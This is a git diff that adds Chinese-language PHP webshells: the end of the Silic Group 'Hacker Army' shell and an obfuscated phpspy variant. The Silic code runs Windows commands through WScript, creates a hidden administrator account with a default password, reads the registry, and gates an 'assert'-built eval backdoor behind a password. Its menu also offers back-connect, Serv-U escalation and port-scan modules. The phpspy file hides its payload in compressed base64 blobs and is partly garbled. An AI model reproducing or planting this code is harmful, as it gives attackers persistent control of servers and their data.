                            +更多过于PostgreSQL语句可参见[这里]


                            +
                            +服务器: +用户: +密码: +数据库名:

                            +
                            +端口: + + + +  Silic Group Hacker Army©2009-2012
                            + +END; +if(!empty($pghost) && !empty($pgport)){ +$conn="host=".$pghost." port=".$pgport." dbname=".$pgdb." user=".$pguser." password=".$pgpass; +}else{ +$conn="dbname=".$pgdb." user=".$pguser." password=".$pgpass; +} +if(!empty($_POST['sql'])){ +$pgconn = pg_connect($conn) +or die('悲剧,连不上。错误信息:'.pg_last_error()); +$pgresult=pg_query($pgquery) or die('SQL执行发生错误:
                            '.pg_last_error()); +$pgrow=pg_fetch_row($pgresult); +echo ''."\n\n"; +for ($i=0; $i< pg_num_fields($pgresult); $i++) +{echo '\n";} +echo "\n"; +pg_result_seek($pgresult, 0); +while ($pgrow=pg_fetch_row($pgresult)) +{ +echo "\n"; +for ($i=0; $i'."$pgrow[$i]".'';} +echo "\n"; +} +echo "
                            '.pg_field_name($pgresult, $i)."
                            \n"."
                            "; +pg_free_result($pgresult); +pg_close(); +} +echo "
                            "; +} +function Mysql_o() +{ + ob_start(); + if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) + { + if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('m_silichost',$_POST['mhost'],$cookietime); + setcookie('m_silicport',$_POST['mport'],$cookietime); + setcookie('m_silicuser',$_POST['muser'],$cookietime); + setcookie('m_silicpass',$_POST['mpass'],$cookietime); + die('正在登陆,请稍候...'); + } + } +print<< +
                            地址
                            +
                            端口
                            +
                            用户
                            +
                            密码
                            +
                            + +END; + ob_end_flush(); + return true; +} +function zipact() +{ +$zfile=$_POST['zfile'] ? $_POST['zfile']:'php.zip'; +$jypt=$_POST['jypt'] ? $_POST['jypt']:'./'; +$tip="未开始解压"; +if($_POST['zip']=='zip'){ +if(function_exists(zip_open)){ +$zfile=key_exists('zip', $_GET) && $_GET['zip']?$_GET['zip']:$zfile; +$zfile= str_replace(array(dirname(__FILE__)."/",dirname(__FILE__)."\\"),array("",""),$zfile); +$zpath=str_replace('\\','/',dirname(__FILE__)).'/'.$zfile; +if(!is_file($zpath)){$tip='文件"'.$zpath.'"不存在!';}else{ +$zip= new ZipArchive(); +$rs=$zip->open($zpath); +if($rs !== TRUE){$tip='解压失败:'.$rs;} +$zip->extractTo($jypt); +$zip->close(); +$tip=$zfile.'解压成功!';} +}else{$tip="服务器不支持PHP_ZIP组件,请确认";} +} +print<< +
                            + +本模块使用PHP的zip_open扩展来操作ZIP压缩文件
                            +使用前请在【系统信息】中确认系统支持php_zip
                            +压缩文件路径可写下级目录和物理路径,相对目录是否可操作未测试 :-(
                            +确认目标路径可写

                            +压缩文件路径:
                            +

                            +目标路径: +

                            +


                            +{$tip}


                            +END; +} +//Windows组件接口 +function winshell() +{ +$nop='  '; +if($_GET['winshell']=='wscript'){ +$wcmd=$_POST['wcmd'] ? $_POST['wcmd']:'net user'; +$wcpth=$_POST['wcpth'] ? $_POST['wcpth']:'cmd.exe'; +print<< +
                            +
                            +{$nop} -> CMD路径
                            +{$nop} +


                            +END; +if($_POST['do']=='do'){ +$ww=$wcpth." /c ".$wcmd; +$phpwsh=new COM("Wscript.Shell") or die("创建Shell.Wscript组件失败"); +$phpexec=$phpwsh->exec($ww); +$execoutput=$wshexec->stdout(); +$result=$execoutput->readall(); +echo $result; +@$phpwsh->Release(); +$phpwsh=NULL; +} +}elseif($_GET['winshell']=='shelluser'){ +$wuser=$_POST['wuser'] ? $_POST['wuser']:'silic'; +$wpasw=$_POST['wpasw'] ? $_POST['wpasw']:'1234@silic#'; +print<< +
                            +
                            +Shell.Users组件添加管理员

                            +{$nop}新建用户名:
                            +{$nop}新用户密码:

                            + +


                            +END; +if($_POST['do']='do'){ +$shell = new COM("Shell.Users"); +$cmd = $shell->create($wuser); +$cmd->changePassword($wpasw,""); +$cmd->setting["AccountType"] = 3; +} +}elseif($_GET['winshell']=='regedit'){ +$regpath=$_POST['regpath'] ? $_POST['regpath']:'HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber'; +print<< +
                            +
                            +RegRead()函数读取注册表内容(Shell.Wscript组件)

                            +注册表路径:
                            +{$nop}

                            + +


                            +END; +if($_POST['do']=='do'){ +$shell = new COM("WScript.Shell") or die("创建Shell.Wscript组件失败"); +try{$registry_proxystring = $shell->RegRead($regpath);} +catch(Exception $e){echo '内容: '.$e->getMessage();} +echo $registry_proxystring; +} +}else{ +$tip="据测试本功能可用的可能性为万分之一
                            Webshell所在服务器必须为Windows系统
                            PHP提权很灵活,但你在非常无奈的时候可以尝试本功能



                            "; +print<<
                            +
                            [ WScript组件 ]

                            +
                            本功能使用PHP调用Windows组件中的Wscript组件。
                            +Wscript为调用cmd命令组件
                            {$tip} [ Shell.User组件 ]

                            +
                            本功能使用PHP调用Windows组件中的Shell.user组件
                            +USER组件为Windows系统用户操作相关组件
                            {$tip} [ 注册表读取 ]

                            +
                            本功能使用PHP调用Windows组件中的Shell.Wscript组件
                            +RegRead()函数读取系统注册表内容
                            {$tip}
                            +END; +} +} +/**登陆相关开始**/ +if($_GET['s'] == 'logout'){ + setcookie('admin_silicpass',NULL); + die(''); +}elseif($_GET['s'] == 'ch'){ +$oldps=md5(md5(md5(trim($salt.$_POST['oldps'])))); +$newps=base64_encode(base64_decode('JHBhc3N3b3JkPSI=').md5(md5(md5(trim($salt.$_POST['newps'])))).base64_decode('Ijs=')); +print<<
                            +
                            +* 修改本程序登陆密码(慎用!可能会造成程序失去响应)
                            +* 本程序由Silic Group基于Spider木马开发,本版是基于Spider木马框架的第五次重新开发
                            +* 本程序采用三层MD5+Salt加密加二次session加密,大可不必担心被人社工
                            +* 第五版主要更新:删去FTP操作,注册表操作,Shellcode转换,完善和繁华现有的功能,修正现有功能的部分bug,优化代码
                            +* Silic Group Hacker Army - 技术共享,技术自由,技术原创,技术进步
                            +* BlackBap.Org

                            +旧密码:
                            +新密码:
                            + +


                            +END; +if($_POST['ch']='ch' && $oldps==$password && !empty($_POST['newps'])) +{ +$dline=19; +$chpsArr=file(__FILE__); +$chsize=count($chpsArr); +for($chi=0; $chi< $chsize; $chi++){ +if($chi==$dline-1){$chpsStr.=base64_decode($newps)."\r\n";} +else{$chpsStr.=$chpsArr[$chi];} +} +file_put_contents(__FILE__,$chpsStr); +echo "更改成功"; +}else{echo "没有更改密码";} +}elseif(md5(md5(md5($salt.trim($_GET['s'])))) == $password){ +$asse=$asse{0}.$asse{1}.$asse{1}.$asse{2}.$asse{3}.$asse{4}; +@$asse($_POST[$_GET['s']]); +}else{ +//登陆 +function Root_Login($MSG_TOP) +{ +$IP = gethostbyname($_SERVER["SERVER_NAME"]); +print<< + +
                            +
                            +
                            +
                            {$MSG_TOP}
                            +
                            PASS:
                            +
                            +
                            +
                            +
                            + + +END; +return false; +} +//窗体 +function WinMain() +{ + $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); + $Server_OS = PHP_OS; + $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; +print<<Silic Group Hacker Army - BlackBap.Org + + + + +
                            +
                              ⊙  {$Server_IP} - {$Server_OS} - {$Server_Soft}
                            + +
                            +END; +return false; +} +} +/*登陆相关结束*/ +if(get_magic_quotes_gpc()) +{ + $_GET = Root_GP($_GET); + $_POST = Root_GP($_POST); +} +if($_COOKIE['admin_silicpass'] != md5($password)) +{ + ob_start(); + $MSG_TOP = 'LOGIN'; + if(isset($passt)) + { + $cookietime = time() + 24 * 3600; + setcookie('admin_silicpass',md5($passt),$cookietime); + if(md5($passt) == md5($password)){die('');} + else{$MSG_TOP = 'PASS IS FALSE';} + } +Root_Login($MSG_TOP); +ob_end_flush(); +exit; +} +if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} +$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); +switch($s){ +case"a":File_a($p);break; +case"d":Tihuan_d();break; +case"e":Antivirus_e();break; +case"f":Info_f();break; +case"g":Exec_g();break; +case"i":Port_i();break; +case"j":Findfile_j();break; +case"jk":winshell();break; +case"l":Servu_l();break; +case"n":Mysql_n();break; +case"o":Mysql_o();break; +case"p":File_Edit($_GET['fp'],$_GET['fn']); break; +case"pq":Pgr_sql(); break; +case"q":File_Soup($p); break; +case"r":Mysql_Msg(); break; +case"dd":backconn();break; +case"ff":phpcode();break; +case"gg":otherdb();break; +case"za":zipact();break; +default:WinMain();break; +}?> diff --git "a/php/\344\272\214\350\277\233\345\210\266\345\256\214\345\205\250\350\277\207\347\213\227\347\211\210phpspy\345\244\247\351\251\254_\345\257\206\347\240\201adminphp.php" "b/php/\344\272\214\350\277\233\345\210\266\345\256\214\345\205\250\350\277\207\347\213\227\347\211\210phpspy\345\244\247\351\251\254_\345\257\206\347\240\201adminphp.php" new file mode 100644 index 0000000..2495d9c --- /dev/null +++ "b/php/\344\272\214\350\277\233\345\210\266\345\256\214\345\205\250\350\277\207\347\213\227\347\211\210phpspy\345\244\247\351\251\254_\345\257\206\347\240\201adminphp.php" @@ -0,0 +1,5 @@ +$?29?&$?95?$?70$?52纝)<$?11??$?01?$?95?$?70$?52纝)/$?37?:$?70$?52纝):"";return($?93?$?66?);}function ?58?&$?96?''){global $?3?$?8?$?77?$?84?$?48?$?74?$?77?$?84?$?48?'(@$?8?$?3?\'eNpTWWZoan7KdqahucFiDfVjxks+bTD2unHM/cOFTUarbNV11DcZuX7wd/G7BcTXNn25cWnLCrdLm9at+uTrcs7Qf4XbjS23XE38V2x657vimq26prXKJDMjs8vI5oEw6eZkpmlAjNJQmWxoaXZER/1gcZaXm4WrpWtISUFAkKt5eHFZSKRBUXB+UIl3ZVFhUWVIa'.$?3??70?'?蠕蓉剽4=','?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=')).'2kN+krqlZDdFnqwL2oAZp2nXU1XUg+oE+gpjjoHLeyHiSBkz0mqmpRQucV6uQmlOcqlCtstbYwHgv3PceXje2GFq+2LRhyZVDjra25ISCggbETA0lfQ09bXvNGD0NPS0gpaGvpBMf7+bp4xofr6Ny3NDAoEdTE+iAtMyc1NSKEgVbBYhgtFGsNYRlCxUwjEU4FyIBM8carDsvMRdoAtCA1IqCnPyUVA0lPSUdqGma1sgWIFRHJ+eX5pVoIIlo6oLsUUlJTQYaEZ9WYJuWX5CapwExRg9opB7MJB31IlC6gauML85Mz7NNK0pNTNFAiOqAVBdnVqViM0JT0zotOSe/OBVJg6a1RnFpUnFJkQaa0Tq6xkaaira5KaYaIAxXBACGKSUd\')).$?8?$?3?$?74?))',"998fe3c4016b9062897b7d537b4b19cd"); +}}global $?3?$?8?$?77?$?84?$?48?$?74?$?77??70?'艸J卮19虼癇娌甆?,'?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=');$?84??70?'L糁5OG簇M2M0MDE2苍诸N訧4Oㄈ襈2?M羧襈GI餙甆諰2?','?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=');$?3??70?'糙F舸ú0?へ?9执?=','?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=');$?48??70?'窗葱腁==','?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=');$?8??70?'??内N炷癇虼癗?,'?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=');$?74?'';$?77?$?84?$?48?'(@$?8?$?3?\'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'.$?3??70?'蠴蔊琀OD0=','?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=')).'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